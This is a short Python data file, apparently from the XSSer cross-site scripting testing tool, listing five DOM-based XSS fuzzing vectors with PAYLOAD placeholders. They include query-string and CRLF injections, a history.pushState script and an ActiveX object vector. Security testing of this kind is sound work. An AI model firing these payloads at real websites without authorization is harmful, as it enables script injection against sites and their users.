DOM.py 1.7 KB

1234567891011121314151617181920212223242526272829303132333435363738
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. ## This file contains different XSS fuzzing vectors.
  19. ## If you have some new, please email me to [epsylon@riseup.net]
  20. ## Happy Cross Hacking! ;)
  21. DOMvectors = [
  22. { 'payload' : """?notname=PAYLOAD&""",
  23. 'browser' : """[Document Object Model Injection]"""},
  24. { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
  25. 'browser' : """[Document Object Model Injection]"""},
  26. { 'payload' : """?<script>history.pushState(0,0,'PAYLOAD');</script>""",
  27. 'browser' : """[Document Object Model Injection]"""},
  28. { 'payload' : """?name=Y%0d%0a%0d%0aPAYLOAD""",
  29. 'browser' : """[Document Object Model Injection]"""},
  30. { 'payload' : """?foobar=name=PAYLOAD&""",
  31. 'browser' : """[Document Object Model Injection]"""}
  32. ]